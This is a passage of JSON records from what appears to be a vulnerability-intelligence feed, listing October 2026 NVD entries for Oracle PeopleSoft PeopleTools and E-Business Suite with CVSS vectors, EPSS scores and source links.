use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101428","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101428","type":"primary","publishedAt":"2026-10-20T22:17:51.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101427","cveId":"CVE-2026-101427","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:51.017Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101427","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00343,"percentile":0.27594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101427","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101427","type":"primary","publishedAt":"2026-10-20T22:17:51.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101422","cveId":"CVE-2026-101422","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:50.430Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101422","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00404,"percentile":0.34427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101422&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101422","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101422","type":"primary","publishedAt":"2026-10-20T22:17:50.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101422&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101422, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101421","cveId":"CVE-2026-101421","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: SQR).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:50.313Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101421","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00398,"percentile":0.33729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101421&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101421","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101421","type":"primary","publishedAt":"2026-10-20T22:17:50.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101421&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101421, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101416","cveId":"CVE-2026-101416","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PsAdmin).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the PeopleSoft Enterprise PeopleTools executes to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:49.730Z","updatedAt":"2026-10-23T04:18:12.017Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101416","asOf":"2026-10-23T04:18:12.017Z"},"epss":{"probability":0.00222,"percentile":0.12701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101416&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101416","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101416","type":"primary","publishedAt":"2026-10-20T22:17:49.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101416&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101416, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101411","cveId":"CVE-2026-101411","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:49.167Z","updatedAt":"2026-10-23T04:18:11.830Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101411","asOf":"2026-10-23T04:18:11.830Z"},"epss":{"probability":0.00387,"percentile":0.32515,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101411&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101411","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101411","type":"primary","publishedAt":"2026-10-20T22:17:49.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101411&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101411, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101410","cveId":"CVE-2026-101410","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:49.057Z","updatedAt":"2026-10-23T04:18:11.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101410","asOf":"2026-10-23T04:18:11.650Z"},"epss":{"probability":0.00384,"percentile":0.32219,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101410","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101410","type":"primary","publishedAt":"2026-10-20T22:17:49.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101410, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101409","cveId":"CVE-2026-101409","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Report Distribution).  Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:48.943Z","updatedAt":"2026-10-21T14:29:49.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101409","asOf":"2026-10-21T14:29:49.513Z"},"epss":{"probability":0.00398,"percentile":0.3373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101409&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101409","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101409","type":"primary","publishedAt":"2026-10-20T22:17:48.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101409&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101409, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101398","cveId":"CVE-2026-101398","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data as well as  unauthorized update, insert or delete access to some of Oracle Capacity accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Capacity. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:47.680Z","updatedAt":"2026-10-23T03:16:30.503Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101398","asOf":"2026-10-23T03:16:30.503Z"},"epss":{"probability":0.0033,"percentile":0.25933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101398","type":"primary","publishedAt":"2026-10-20T22:17:47.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101390","cveId":"CVE-2026-101390","aliases":[],"kind":"vulnerability","title":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).","summary":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink).  Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:17:46.757Z","updatedAt":"2026-10-23T04:18:07.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101390","asOf":"2026-10-23T04:18:07.723Z"},"epss":{"probability":0.00387,"percentile":0.32516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 